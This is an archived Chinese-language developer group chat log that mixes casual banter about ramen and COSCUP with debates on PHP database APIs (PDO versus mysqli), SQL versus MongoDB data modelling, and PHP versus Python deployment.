Jump to...
redirecting...

Log for #ysitd

<lekous>: (mmis1000: 然後emm...) 沾麵比較讚啦
<wyork507>: (lekous: 沾麵比較讚...) 湯麵啦
<lekous>: (Sciuridae: 然後租 U...) 那為什麼不一開始直接 WeMo
<lekous>: (wyork507: 湯麵啦) 嗚嗚嗚我也想吃五之神
<wyork507>: (lekous: 嗚嗚嗚我也...) 嗚嗚嗚嗚嗚嗚我吃不起
<lekous>: (wyork507: 嗚嗚嗚嗚嗚...) why
<wyork507>: (lekous: why) 沒錢ㄚ
<lekous>: 我記得他不是三百左右ㄇ
<lekous>: 印象中啦
<wyork507>: 可是我不能把我生活費全花掉ㄚ
<lekous>: (wyork507: 可是我不能...) 可以啦
<TsundereChen>: (lekous: 嗚嗚嗚我也...) 月初的時候跑去吃,滿失望的 :(
<nella17_tw>: (wyork507: 可是我不能...) 這名字也太藝術🤔
<wyork507>: 然後吃土很多天這樣ㄇ
<nella17_tw>: (TsundereChen: 月初的時候...) ⁉️ https://i.imgur.com/HIWBLab.png
<lekous>: (TsundereChen: 月初的時候...) 怎麼說
<lekous>: 我覺得蝦蝦麵好吃阿
<wyork507>: (nella17_tw: 這名字也太...) 三小XD 啊不就生僻字
<TsundereChen>: (lekous: 怎麼說) 可能太久沒吃吧,只是覺得超膩,而且黑胡椒有點多( 個人感覺啦
<lekous>: 上次吃是一年多前的事ㄌ https://i.imgur.com/l4TDdKm.jpg
<nella17_tw>: (wyork507: 三小XD...) 很不像中文😂
<TsundereChen>: (Reply to lekous) 懶惰鬼,都不去西抗
<wyork507>: (nella17_tw: 很不像中文...) 本來是 York Wang 不是中文啊,我只是用近似音的生僻字
<wyork507>: (Reply to lekous) +
<nella17_tw>: (wyork507: 本來是 Y...) 卣 ㄧㄡˇ:名詞。古盛酒的器具,粗口大肚,口上有蓋和提梁 厒 ㄑㄧㄝˋ:名詞。水邊的山。 臦 ㄍㄨㄤˋ:???
<wyork507>: 三小 我只是用手機輸入發找ㄉ
<wyork507>: 原來讀音是錯ㄉ
<wyork507>: (nella17_tw: 卣 ㄧㄡˇ...) 厒是讀ㄎㄜˋ吧
<wyork507>: 臦就真的錯ㄌ
<nella17_tw>: (wyork507: 厒是讀ㄎㄜ...) 😞 https://i.imgur.com/ZwklEnc.png
<nella17_tw>: 我以為iPhone用注音輸入法選字就會是讀音(−_−#)
<wyork507>: (Reply to nella17_tw) https://i.imgur.com/vnQpjNl.jpg
<nella17_tw>: (wyork507: 臦就真的錯...) 沒錯吧🤔
<nella17_tw>: (一)ㄍㄨㄤˋ 違背。說文解字:「臦,乖也。從二臣相違。」 (二)ㄐㄩㄥˇ 人名用字。集韻.上聲.梗韻:「人名,周有伯臦,通作囧 、臩。」
<wyork507>: (nella17_tw: 沒錯吧🤔) 我說我這邊錯ㄌ
<nella17_tw>: (wyork507: 我說我這邊...) 😂 https://i.imgur.com/p9pLTHw.png
<how8570>: }CSY/
<how8570>: \CSY/
<wyork507>: 好了 改好ㄌ
<wyork507>: 現在讀音應該不會錯ㄌ
<licson>: (wyork507: 現在讀音應...) 這是加密法嘛(
[Title] Telegram: Contact @nnmobbzd72033_bot
<seadog007>: @YamiOdymel 你現在分享是要給誰看啦ww
<seadog007>: 7點在轉文
<seadog007>: 你作息484壞掉ㄌ
<daisuke1230>: www
<daisuke1230>: 在奇怪的時區(
<seadog007>: @tonyhhyip 求AA八卦
<tonyhhyip>: (seadog007: @tony...) 就智障沒藥醫
<seadog007>: 什麼鬼la
<seadog007>: 解釋一下
<seadog007>: 我很心累
<YamiOdymel>: (seadog007: 7點在轉文) Facebook 好棒棒演算法會自己往上推辣
<seadog007>: (YamiOdymel: Faceb...) 不才不會 智障演算法
<YamiOdymel>: (seadog007: 不才不會...) 我現在重新分享是不是沒人會鳥我啊
<seadog007>: (YamiOdymel: 我現在重新...) 對
<seadog007>: 跟剛剛差不多
<seadog007>: (跑
<YamiOdymel>: 好的
<seadog007>: 可惡不能在COSCUP講breach.tw QQ
<Sciuridae>: 為什麼不行 🤔
<danny8376>: (wyork507: 湯麵啦) 只好沾麵加水做成湯麵(X
<Cute_Panda>: 咦
<Cute_Panda>: 我剛睡醒
<Cute_Panda>: (Sciuridae: 88888...) 去
<seadog007>: @s3131212 講QQ
<seadog007>: (Sciuridae: 為什麼不行...) 因為我不在台灣
<james58899>: (seadog007: 因為我不在...) remote
<Sciuridae>: Remote
<seadog007>: (james58899: remot...) 我要翻牆
<Sciuridae>: 你不是有漫遊ㄇ
<james58899>: (seadog007: 我要翻牆) 文字版remote
<seadog007>: 是啦
<seadog007>: 你上去開(X
<bystartw_tw>: (daisuke1230: 他的意思要...) \TeaMeow/
[Title] 永擎EPC621D4I-2M 3647服务器主板ITX 迷你主板 上铂金8180 8280-淘宝网
[Title] XEON W-3175X 3275M CPU 处理器 ES QS 正式版 56线程高频 剪辑-淘宝网
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: 所以這個體積的電腦能裝28核3647 + 2080ti https://i.imgur.com/h7aA1IP.jpg
<joeangel>: 可樂是主體嗎
<lekous>: (Reply to Sciuridae) 好好ㄛ我也想去
<Sciuridae>: (lekous: 好好ㄛ我也...) 來啊
<lekous>: (Sciuridae: 來啊) 現在去來不及的啦
<Sciuridae>: 會ㄇ
<Sciuridae>: 不會ㄅ
<mmis1000>: 兩天的活動耶
<mmis1000>: 你從美國飛來都不用超過一天阿
<mmis1000>: 還是你去月球了
<coin3x>: (mmis1000: 兩天的活動...) 可是不是要 票ㄇ
<mmis1000>: 你只是進不去教室
<mmis1000>: 還是可以在外面晃攤位
<Sciuridae>: 票的化
<Sciuridae>: :)
<lekous>: (coin3x: 可是不是要...) 我有啦
<lekous>: 只是
<lekous>: 我沒地方住 :)
<coin3x>: 太遠太晚
<lekous>: (coin3x: 太遠太晚) y
<Cute_Panda>: (lekous: y) 今天下大雨懶得出門(#)
<Cute_Panda>: 不過可以考慮
<Cute_Panda>: 高鐵ON
<koru1130>: 我還沒出門诶
<excfergodst>: 17 = =
<Cute_Panda>: (koru1130: 我還沒出門...) 你不是最近嗎www
<koru1130>: 我該帶筆電充電器ㄇ
<Cute_Panda>: (koru1130: 我該帶筆電...) 帶啊
<koru1130>: 可是很重
<koru1130>: 我有點想用借ㄉ
<koru1130>: 算ㄌ 先帶好ㄌ
<Cute_Panda>: (koru1130: 我有點想用...) 直流電源供應器ON
<Cute_Panda>: 你需要一個簡單的後背包(?)
<Sciuridae>: (excfergodst: 17 =...) 🙂 https://i.imgur.com/dsZgJqq.png
<koru1130>: 欸 LINE 有攤位ㄟ
<TsundereChen>: (Reply to seadog007) 為什麼大家打錯字都不修正....
<koru1130>: 有沒有人要去問他為什麼圖片會消失
<daisuke1230>: @sntc06 雪人ㄉㄉ跑進來裝年輕ㄇ(X
<sntc06>: (daisuke1230: @sntc...) 我會安安靜靜的不打擾大家
<bentley0928>: @coin3x Hi
<seadog007>: @sntc06 沒關係樓上還有兩個陪你裝年輕
<koru1130>: 有沒有人要去問 LINE 為什麼圖片 14 天就會過期
<excfergodst>: IB101 竟然用 SKM500
<excfergodst>: 太有錢ㄌ
<danny8376>: (sntc06: 我會安安靜...) <(_ _)>
<wyork507>: (koru1130: 有沒有人要...) 讓你感覺他沒在存資料
<daisuke1230>: (seadog007: @sntc...) 兩個是三小,說清楚
<seadog007>: @lekous docker
<lekous>: (seadog007: @leko...) 晚點弄 :(
<lekous>: 現在那個你要不要試試看會不會動🤔🤔
<lekous>: 我手邊沒 linux qq
<seadog007>: (lekous: 現在那個你...) 不好試QQ
<lekous>: 好ㄅ 我搞個環境出來44看
<lekous>: 阿那個東西要怎麼動
<bystartw_tw>: (Reply to seadog007) 大佬。
<lekous>: nginx 要拿來幹嘛
<lekous>: 你 php 怎麼接 sql 的
<lekous>: (lekous: 你 php...) 我現在 sql 有給他一個固定 IP
<seadog007>: (lekous: 你 php...) config.php
<lekous>: (lekous: 我現在 s...) 10.1.10.1
<seadog007>: 你要用shell script寫一ㄍ
<lekous>: (seadog007: 你要用sh...) 寫一ㄍ啥
<seadog007>: (lekous: 寫一ㄍ啥) config.php
<bystartw_tw>: (lekous: 你 php...) 我以為是 mysqli_connect
<seadog007>: (bystartw_tw: 我以為是...) 誰還用mysqli_connect
<lekous>: (seadog007: confi...) 🤔🤔🤔🤔
<seadog007>: 怕
<lekous>: (seadog007: 誰還用my...) 我有幫你裝 mysqli 欸
<bystartw_tw>: (seadog007: 誰還用my...) 我用 oop 的 mysqli qwq
<bystartw_tw>: 賊方便
<seadog007>: (lekous: 🤔🤔�...) 你可以直接build一個lnmp docke
<halrison>: (seadog007: 誰還用my...) 我們系上的老師
<seadog007>: (lekous: 我有幫你裝...) 好啦隨便
<bystartw_tw>: (seadog007: 誰還用my...) 那你們現在都用啥
<lekous>: (seadog007: 好啦隨便) 所以我在 repo 裡面找得到
<seadog007>: (lekous: 所以我在...) dk3
<lekous>: config 的範例檔ㄇ
<lekous>: kk
<halrison>: (bystartw_tw: 那你們現在...) 都沒再用,因為我的000webhost帳戶已經被註銷
<seadog007>: (lekous: confi...) 你也可以直接開一個user
<seadog007>: 叫breachtw
<seadog007>: 密碼breachtw
<seadog007>: 給他breachtw這個db的權限
<seadog007>: SELECT INSERT UPDATE
<seadog007>: 這三個就行
<lekous>: (seadog007: 你也可以直...) root 登入
<lekous>: yay
<seadog007>: (lekous: root...) um
<bystartw_tw>: (bystartw_tw: 那你們現在...) @seadog007
<seadog007>: (bystartw_tw: @sead...) PDO
<lekous>: (seadog007: PDO) 耶 我也用PDO
<bystartw_tw>: PDO 🌚
<seadog007>: PDO_MYSQL
<seadog007>: (lekous: 耶 我也用...) 那你幹嘛裝mysqli
[Title] breach.tw/config_example.php at master · seadog007/breach.tw · GitHub
<lekous>: (seadog007: 那你幹嘛裝...) 我以為你會想用到
<lekous>: (seadog007: https...) kk
<bystartw_tw>: (lekous: 我以為你會...) 嗚嗚原來你們都用 pdo 啊
<bystartw_tw>: 我只會用落後玩意
<bystartw_tw>: qwq
<james58899>: 我之前還看過在用mysql_的
<james58899>: 沒事沒事
<halrison>: (james58899: 我之前還看...) 我前年修的課就還在用mysql_配wamp
<danny8376>: (seadog007: 誰還用my...) mysqli也沒啥問題啊🤔
<seadog007>: (danny8376: mysql...) 你要轉DB就會很痛苦
<halrison>: (seadog007: 你要轉DB...) 但我們老師教的是程序導向的mysqli,不是物件導向的
<danny8376>: (seadog007: 你要轉DB...) 我是覺得不一定有差 實質上就算用統一API處理還是會可能遇到vender specific的東西 除非你從來不tune db
<seadog007>: (danny8376: 我是覺得不...) 我基本上都只簡單select insert update
<danny8376>: 當然沒用太奇特的東西pdo比較輕鬆是事實
<danny8376>: (seadog007: 我基本上都...) 那是你啊
<seadog007>: 2012年的差距很明顯啦(
[Title] PDO vs. MySQLi: Which Should You Use?
<seadog007>: 現在我不清楚
<danny8376>: (seadog007: https...) wut mysqli那年沒prepare了
<seadog007>: 2012
<daisuke1230>: (seadog007: 2012) 貓貓貓貓
[Title] PHP: mysqli::prepare - Manual
<seadog007>: 喔好吧
<seadog007>: 那就是很少人用
<seadog007>: @danny8376 所以你推mysqli?
<danny8376>: (seadog007: @dann...) 新的用pdo 原本用mysqli的不用改 當然mysqli當mysql用另當別論
<seadog007>: 反正現在教人用mysqli的都是__
<seadog007>: 網路上教學滿滿的SQLi
<danny8376>: (seadog007: 2012) 而且那年頭pdo的prepare也是假的謝謝
<danny8376>: 現在倒是不知道預設值 反正不是自己escape問題就不在自己(?
<bystartw_tw>: 為什麼大家都在推 PDO
<danny8376>: (seadog007: 網路上教學...) 這有派系問題(? 不過如果你的PHP不OOP也只能用mysqli(?
<bystartw_tw>: QAQ
<danny8376>: 不寫OOP卻用OOP lib根本邪教(X (C表示
<bystartw_tw>: (danny8376: 不寫OOP...) 混合 OOP 和非 OOP 的程式都是邪教!
<bystartw_tw>: <- 我
<seadog007>: (danny8376: 不寫OOP...) 我道歉 我完全沒OOP到
<danny8376>: (seadog007: 我道歉 我...) 我也是( 逃
<bystartw_tw>: 問個問題(
<bystartw_tw>: Node.js 有類似 PDO 的東西嘛
[Title] GitHub - mikuso/node-pdo
<bystartw_tw>: 目前看到比較類似的大概就這個吧
<mmis1000>: (bystartw_tw: Node....) https://www.npmjs.com/package/typeorm yes
[Title] typeorm - npmDownloadsGit
<mmis1000>: 你的關鍵字錯了
<bystartw_tw>: 大佬
<mmis1000>: orm才是關鍵字
<bystartw_tw>: 我要把我的 mysqljs/mysql 換成這個惹 開心 ❤️
<seadog007>: (mmis1000: https...) 他是怎麼把nosql跟rdb混在一起的
<mmis1000>: (seadog007: 他是怎麼把...) mongoose都能在nosql弄出schema了
<mmis1000>: why not
<seadog007>: 說
<seadog007>: 的也是
<bystartw_tw>: (bystartw_tw: 我要把我的...) 當我沒說
<mmis1000>: 在你希望直接寫sql的時間點就已經non-portable了
<mmis1000>: 頭都洗一半了你還是洗完吧
<james58899>: (mmis1000: mongo...) mongo官方說這是錯誤用法,請去RTFM
<mmis1000>: (james58899: mongo...) 我必須說,因為很好用,所以idk
<koru1130>: 軟體開發者是否可以定義軟體ㄉ正確用法ㄋ
<mmis1000>: user說的算
<koru1130>: 開發者已死 (#
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: (Reply to seadog007) gg
<bystartw_tw>: (koru1130: 軟體開發者...) 您是哲學系大佬嗎
<bystartw_tw>: 你提出的問題都好哲學
<bystartw_tw>: I think
<seadog007>: (sCSUVbuMwzZrhQdq4aATH6VII4y4VupI: gg) Load 10000+
<bystartw_tw>: (seadog007: Load...) 可以當編譯機嗎 大佬!
<bystartw_tw>: 喔我看到了
<bystartw_tw>: 你在解啥
<james58899>: (mmis1000: 我必須說,...) https://youtu.be/iuj4Hh5EQvo?t=161
[Title] MongoDB 4.2 Brings Fully Distributed ACID Transactions (MongoDB World 2019 Keynote, part 2) - YouTube
<mmis1000>: (Reply to james58899) 這個bug一臉不在orm
<mmis1000>: 在orm實作
<bystartw_tw>: 問問
<bystartw_tw>: Redis 跟 MongoDB 哪個比較棒
<james58899>: (mmis1000: 在orm實...) 至少官方driver的實做沒有這樣幹
<mmis1000>: 至少mongoose 不會幹這種蠢事
<james58899>: (bystartw_tw: Redis...) 請你先兩個都用過再來問這問題
<bystartw_tw>: MongoDB 原本想學,但是他的授權條款 :D
<bystartw_tw>: (james58899: 請你先兩個...) 正是因為要選擇學所以才問這種問題吧 orz
<james58899>: (bystartw_tw: Mongo...) 他的授權條款怎麼了?
<bystartw_tw>: (james58899: 他的授權條...) 聽說改得很不自由
<james58899>: (bystartw_tw: 正是因為要...) ??? 兩個都學有任何衝突嗎
<mmis1000>: (bystartw_tw: Redis...) 你這問題跟問dog跟hotdog哪個比較棒一樣
<james58899>: (bystartw_tw: 聽說改得很...) 「聽說」
<mmis1000>: 這兩個根本不同類型
<bystartw_tw>: (mmis1000: 你這問題跟...) 所以是不一樣的東西呀(
<koru1130>: (mmis1000: 你這問題跟...) hotdog
<koru1130>: 不會咬人
<bystartw_tw>: 我以為 redis 和 mongodb 同類型
<mmis1000>: (koru1130: 不會咬人) 回教徒表示:
<seadog007>: (bystartw_tw: Redis...) 根本就不同用途
<seadog007>: Nginx跟PHP哪個比較棒
<seadog007>: 大概是這種概念ㄅ
<danny8376>: (seadog007: Nginx...) (
<bystartw_tw>: (seadog007: Nginx...) 喔喔喔!
<mmis1000>: 對於完全不能成為對方替代品的東西問哪個棒毫無意義
<danny8376>: (mmis1000: 對於完全不...) 你可以用php寫個http server(逃
<bystartw_tw>: (bystartw_tw: Mongo...) 我錯怪了QwQ
<mmis1000>: (danny8376: 你可以用p...) 用php實作nginx體驗極致笑能
<seadog007>: (danny8376: 你可以用p...) 你可以用redis做mongodb
<mmis1000>: (seadog007: 你可以用r...) redis不能deep query
<james58899>: (seadog007: 你可以用r...) 再套一個BSON library他就真的能變成mongodb了
<seadog007>: (mmis1000: redis...) +ㄍ程式語言
<james58899>: (mmis1000: redis...) 全部抓出來處理阿
<seadog007>: 只是可能會不小心丟資料(X
<daisuke1230>: (seadog007: 只是可能會...) ww
<lekous>: (mmis1000: 在你希望直...) SQLite 愛你
<YamiOdymel>: (bystartw_tw: Mongo...) 能 MySQL 為什麼要 MongoDB
<YamiOdymel>: 其實我不太懂有關聯性的資料為什麼要掰開成芒果
<james58899>: (YamiOdymel: 能 MyS...) 🤔 https://i.imgur.com/vTZ8RRA.png
<seadog007>: relation很棒啊
<YamiOdymel>: (james58899: SQL反人...) 所以你是主攻 MongoDB?說明一下 SQL 為什麼反人類
<YamiOdymel>: 我設計什麼一直都是關聯性的資料庫, 不過搞不好你可以提出一個關聯性資料庫是屎的觀點讓我改觀
<YamiOdymel>: 就像我 Class 跟物件導向寫到後面發現他是智障一樣
<koru1130>: 我不認為 MongoDB 是一個好的 DBMS
<koru1130>: 但是 SQL 超糟
<koru1130>: (YamiOdymel: 我設計什麼...) 為什麼明明同一筆資料我要分一堆 DB 放
<seadog007>: (koru1130: 為什麼明明...) 省空間
<YamiOdymel>: (koru1130: 為什麼明明...) 那是你過度正規化,請把需要的資料黏在同一個 Table
<YamiOdymel>: 就跟你切分微服務,請把需要的資料設計在同一個服務好嗎
<seadog007>: (Reply to seadog007) 這樣很正規了吧
<seadog007>: (YamiOdymel: 什麼「巢狀...) ++
<koru1130>: (YamiOdymel: 什麼「巢狀...) 巢狀資料
<seadog007>: (koru1130: 巢狀資料) 那三小
<seadog007>: deref?
<koru1130>: 就
<mmis1000>: record之類的?
<YamiOdymel>: (seadog007: deref...) deref 是什麼鳥蹦蹦
<koru1130>: 像 json 的那種
<mmis1000>: key不一定value也不一定存在
<seadog007>: a: {'x': b} b: {'x': a}
<koru1130>: (seadog007: a: {'...) 度
<seadog007>: (seadog007: a: {'...) please give me a
<koru1130>: 不是 他不會recursive
<seadog007>: then
<seadog007>: boom
<mmis1000>: 原則上你可以把key value pair 存成陣列
<koru1130>: 我沒有叫你 ref 啊
<mmis1000>: 需要時再解回去
<mmis1000>: 名曰正規化
<YamiOdymel>: 瞎毀,你為什麼會存 JSON
<mmis1000>: 然後有人覺得你TM吃飽撐著幹嘛不直接存就好
<mmis1000>: 於是nosql就出來了
<YamiOdymel>: key value pair 的話太沒效率,因為什麼都是 varchar
<YamiOdymel>: 反正 MySQL 後來不是出了 JSON 格式嗎
<YamiOdymel>: 蹦蹦,新世紀誕生
<koru1130>: (mmis1000: 然後有人覺...) 對
<koru1130>: 我就覺得你吃飽撐著
<james58899>: (YamiOdymel: 所以你是主...) 我SQL搞了半天沒搞定,mongo一小時就都搞定了
<YamiOdymel>: (james58899: 我SQL搞...) 到底是什麼沒搞定
<seadog007>: (mmis1000: 原則上你可...) 對不起QQ
<james58899>: (YamiOdymel: 到底是什麼...) 全世界
<YamiOdymel>: 世界的錯
<seadog007>: (Reply to seadog007) 正規化就會變成這樣
<seadog007>: 真的不好看就是
<YamiOdymel>: (seadog007: 正規化就會...) 然後如果你的 source 跟 item 有機會重複,就可以繼續正規化成 id, source_item_id
<james58899>: 而且你塞資料進DB要下幾次SQL
<james58899>: (YamiOdymel: 一次?) 然後爆幹長的一句嗎
<seadog007>: (YamiOdymel: 然後如果你...) 才沒有機會重複
<seadog007>: (james58899: 而且你塞資...) 一次
<james58899>: 而且要調整資料結構時也很悲劇不是嗎
<james58899>: 我記得人家twitter為了調資料結構等了一整週的樣子
<YamiOdymel>: (james58899: 然後爆幹長...) 度,看起來很 (?, ?), (?, ?)
<james58899>: (YamiOdymel: 度,看起來...) 根本不可讀阿
<seadog007>: (james58899: 根本不可讀...) 對ㄅ起
<YamiOdymel>: (james58899: 我記得人家...) 我不懂,MongoDB 類的就不會因為資料結構異動而需要花時間規劃嗎
<seadog007>: (YamiOdymel: 我不懂,M...) 他根本沒結構
<YamiOdymel>: (james58899: 根本不可讀...) 干我屁事反正是程式產生的不是嗎
<seadog007>: (
<YamiOdymel>: (seadog007: 他根本沒結...) 噢。
<james58899>: (YamiOdymel: 干我屁事反...) 既然都不可讀,為啥不直接nosql,對人類來說就是程式中的一個物件
<YamiOdymel>: (james58899: 既然都不可...) 我當初的資料是 MongoDB 慢於 MySQL
<james58899>: (YamiOdymel: 我不懂,M...) JSON你加一個kv會需要花時間規劃嗎
<YamiOdymel>: 現在可能改善不少了
<koru1130>: 我想存一筆資料長這樣 { name: String id: Number item: [{ itemId: amount: }] }
<seadog007>: meteor用mongo
<koru1130>: (koru1130: 我想存一筆...) 在 SQL 我要怎麼搞
<seadog007>: (koru1130: 在 SQL...) 3個table
<james58899>: 一個table專門塞item
<YamiOdymel>: (koru1130: 我想存一筆...) data: name, id, item_id items: id, amount
<james58899>: 一個塞id和name
<james58899>: 然後再想辦法串起來
<koru1130>: (seadog007: 3個tab...) 你不覺得很麻煩ㄇ
<YamiOdymel>: (seadog007: 3個tab...) 但內,第三個是什麼
<seadog007>: (koru1130: 我想存一筆...) 你這跟我情況差不多la
<koru1130>: 在 NoSQL 我只要一個 table 欸
<james58899>: (YamiOdymel: 但內,第三...) 人家可能生出了另一個當key
<YamiOdymel>: (koru1130: 在 NoS...) 噢,我看你不管什麼資料大概都可以一個 table 幹你娘塞爆
<james58899>: 喔還有mongodb可以塞binary
<seadog007>: (YamiOdymel: 但內,第三...) 喔沒事 我以為他itemidu要指去item
<YamiOdymel>: (koru1130: 在 NoS...) 但內,那你分工協作的時候不就大家一起 BANG 同一張 table
<seadog007>: (james58899: 喔還有mo...) MySQL也行好ㄇ
<YamiOdymel>: (seadog007: 喔沒事 我...) 我剛剛也是有點看成這樣
<licson>: (YamiOdymel: 我當初的資...) 現在的話一樣快
<james58899>: (seadog007: MySQL...) 🤔 https://i.imgur.com/g8CvLSz.png
<koru1130>: (YamiOdymel: 噢,我看你...) 對
<YamiOdymel>: (james58899: 喔還有mo...) https://i.imgur.com/UEPbbjb.jpg
<bystartw_tw>: (bystartw_tw: 兩個 ta...) 配 Foreign key
<james58899>: (YamiOdymel: 我當初的資...) 你可能太低估NoSQL的效能了,如果遇到效能問題八成是人的問題
<koru1130>: (YamiOdymel: 但內,那你...) 蛤
<YamiOdymel>: (james58899: 你可能太低...) 等一下,剛剛是不是也有人
<YamiOdymel>: 額
<YamiOdymel>: 沒事,NoSQL 超讚的啦 https://i.imgur.com/1ID7oMx.jpg
<YamiOdymel>: (seadog007: 倒戈了) 老人才會用 PHP + MySQL 架站喔
<james58899>: 是說我記得 @ysitdbot 把圖片塞進mongo的wwww
<koru1130>: 你不覺得正規化是一個很機械性的動作ㄇ
<licson>: (YamiOdymel: 老人才會用...) 看看 Facebook
<seadog007>: (james58899: 是說我記得...) 對
<james58899>: 我差一點點也要把音樂塞進去了
<danny8376>: 只要沒資料就永遠沒效能問題對吧🙈
<licson>: (james58899: 是說我記得...) 他是的
<seadog007>: 然後 @licson 還是不把mongo權限開給我
<YamiOdymel>: (koru1130: 你不覺得正...) 那個叫做用腦思考
<koru1130>: 機械性動作就該交給機器做
<james58899>: 當初還曾經打算把minecraft地圖塞進去 (X
<seadog007>: (YamiOdymel: 那個叫做用...) Y
<licson>: (seadog007: 然後 @l...) 你要來幹啥
<seadog007>: (james58899: 我差一點點...) 塞!
<seadog007>: (licson: 你要來幹啥) readonly就行好ㄇ
<seadog007>: 你上次說要開
<seadog007>: 然後就開了半年
<mmis1000>: (james58899: 當初還曾經...) 被中華電信gank了
<mmis1000>: 幹你娘有夠慢
<james58899>: (mmis1000: 被中華電信...) 超慘烈的下載速度
<danny8376>: (james58899: 當初還曾經...) 什麼時後把整個fs塞進去用mongodb開機🌚
<licson>: (seadog007: reado...) 你可以把 MongoDB 的 file 抄走(
<james58899>: 可是local測試很快不是嗎
<licson>: 看 snapshot
<seadog007>: (licson: 你可以把...) 靠邀ㄛ
<mmis1000>: (james58899: 可是loc...) 過了網路剩不到十分之一
<mmis1000>: 悲劇
<YamiOdymel>: MySQL,呀吼
<licson>: (mmis1000: 過了網路剩...) 我:
<mmis1000>: local Mongodb 2秒,過了優質中華網路變20秒
<mmis1000>: 超不行的啦
<licson>: (mmis1000: local...) 過我的內網(
<koru1130>: (seadog007: Y) 58^2 也叫用腦思考
<koru1130>: 但是都很機械性
<seadog007>: (koru1130: 58^2...) 額 不太一樣ㄅ
<danny8376>: 然而NoSQL會遇到你讀的時候被人塞垃圾害你炸掉(?
<YamiOdymel>: @seadog007 我們是不是要再來參賽一下 https://i.imgur.com/a6zM5q5.jpg
<YamiOdymel>: 突然翻到很懷念的東西
<seadog007>: 好ㄛ
<lekous>: (YamiOdymel: deref...) 你被笨料料感染ㄌ
<seadog007>: (Reply to YamiOdymel) 是說2018我有得獎
<YamiOdymel>: (lekous: 你被笨料料...) 好的,雷克斯
<YamiOdymel>: (seadog007: 是說201...) 你做了什麼
<seadog007>: 忘了
<YamiOdymel>: 當然
<seadog007>: (YamiOdymel: 當然) 不過我還記得你畫的天才小釣手
<danny8376>: (seadog007: 不過我還記...) 🤔
[Title] Hyper-Text-Monkey-Control-Protocol · GitHub
<seadog007>: 喔喔這個
<seadog007>: 我用了一個晚上複製貼上寫完的東西
<YamiOdymel>: (seadog007: 不過我還記...) 🎣 https://i.imgur.com/yK3ZNgI.png
<YamiOdymel>: (seadog007: https...) 這個名字有點前衛到我不知道他是什麼
<seadog007>: (seadog007: 我用了一個...) 我居然
<seadog007>: 還
<seadog007>: 把config推上去了
<seadog007>: Orz
<seadog007>: 到底
<seadog007>: 反正就前端一個 後端一個
<seadog007>: 剩下兩個打醬油
<seadog007>: 然後我們就得幾ㄌㄤ
<YamiOdymel>: 幹
<YamiOdymel>: 怎麼不如全部都主攻簡報呈現
<YamiOdymel>: 簡報比賽
<gnehs_OwO>: (lekous: 你被笨料料...) 蹦蹦
<seadog007>: (Reply to YamiOdymel) 天才小釣手
<seadog007>: 他居然變貼圖ㄌㄇ
<lekous>: (YamiOdymel: 這個名字有...) HTTP 418
<YamiOdymel>: (seadog007: 他居然變貼...) 是貼圖變成 Logo
<seadog007>: (YamiOdymel: 是貼圖變成...) 疑是喔www
[Title] 蘋果控告Corellium非法複製iOS | iThome
<seadog007>: 酷耶
<koru1130>: (seadog007: 酷耶) 話說你今年沒來ㄛ
<excfergodst>: (koru1130: 話說你今年...) 他在淪陷區
<koru1130>: (excfergodst: 他在淪陷區) 酷
<seadog007>: (koru1130: 話說你今年...) 都沒人幫我講LT QQ
<seadog007>: 或是宣傳breach.tw
<seadog007>: (seadog007: 或是宣傳...) 害我只能丟新聞媒體
<seadog007>: (
<seadog007>: (seadog007: 害我只能丟...) 然後我就接到國際漫遊了
<seadog007>: ._.
<lekous>: (seadog007: 然後我就接...) 😃 https://i.imgur.com/8PHlc8p.png
<lekous>: (seadog007: 然後我就接...) 是說為啥是 PHP
<seadog007>: (lekous: 是說為啥是...) 好開發
<lekous>: (seadog007: 好開發) node.js?
<seadog007>: 就是這樣才會一堆人寫出洞
<lekous>: (seadog007: 好開發) py
<seadog007>: 一定是 @tonyhhyip
<seadog007>: (lekous: py) 後端方便架設性
<lekous>: (seadog007: 後端方便架...) py
<seadog007>: (lekous: py) uwsgi?
<tonyhhyip>: (seadog007: 一定是 @...) 不然了
<lekous>: (seadog007: uwsgi...) 不是有 Flask ㄇ
<lekous>: 然後 -nix 用 gunicorn windows 用 waitress
<lekous>: 怎麼想都比 PHP 還快www
<seadog007>: 1. 我不熟
<seadog007>: 你都怎麼跑gunicorn
<lekous>: (seadog007: 你都怎麼跑...) 指令直接下啊 OAOAOAO
<lekous>: 🤔🤔🤔
<seadog007>: 我要先WTF你一波
<seadog007>: 這樣完全沒比較快
<seadog007>: 還要處理一堆有的沒的問題
[Title] GitHub - EarlySpringCommitee/Score: API desu
<lekous>: test.sh 有 gunicorn
<lekous>: readme 有 waitress
<seadog007>: 1. 完全沒比較快
<seadog007>: 2. 你還是不能好好處理CF跟一些進階協定來的東東
<lekous>: (seadog007: 2. 你還...) 啥🤔🤔🤔
<lekous>: (seadog007: 1. 完全...) 我覺得 Php 環境超難搞的欸
<lekous>: py 只要裝好下 pip 就好ㄌ
<lekous>: docker 也超好處理ㄉ
<lekous>: 我現在ㄉ工作就在寫 PHP
<lekous>: 有夠難搞
<seadog007>: 你跟我講PHP環境難搞
<seadog007>: ????
<bystartw_tw>: (lekous: 真的辣) 你應該是說 PHP CGI 連結到 nginx ㄅ
<lekous>: composer 整天爆炸
<bystartw_tw>: 安裝 php 只要 sudo apt install php 就好了唷 :)
<seadog007>: (bystartw_tw: 你應該是說...) 超簡單好嗎
<bystartw_tw>: (seadog007: 超簡單好嗎) +++++
<bystartw_tw>: 最難的部份
<bystartw_tw>: 大概就是
<bystartw_tw>: 找出 CGI 設定檔範本ㄅ
<seadog007>: 而且gunicorn靜態效能差爆
<bystartw_tw>: (Reply to bystartw_tw) 還有 VS Code 的新翻譯是怎樣
<bystartw_tw>: 殘廢逆 zzz
<koru1130>: (seadog007: 都沒人幫我...) 找一個人上去開視訊ㄚ
[Title] PHP和Python部署方式与性能对比
<seadog007>: 你的效能
<seadog007>: 什麼都不寫都慢
<mmis1000>: (bystartw_tw: 安裝 ph...) 你會不小心安裝到php apache plugin
<seadog007>: (mmis1000: 你會不小心...) 笑死ww
<mmis1000>: 那個是meta meta package
<mmis1000>: 包了一拖拉庫東西
<mmis1000>: 最靠北的是他會幫你連Apache都裝好,接下來你下次開機nginx就起不來
<mmis1000>: 因為port被apache幹走了
<bystartw_tw>: (mmis1000: 你會不小心...) 好ㄅ
<bystartw_tw>: Arch 的 PHP 乾淨很多
<mmis1000>: (Reply to seadog007) 嚴格上來說連前面的nginx都可以不要
<mmis1000>: 直接k8s LB
<seadog007>: (mmis1000: 嚴格上來說...) https ._.
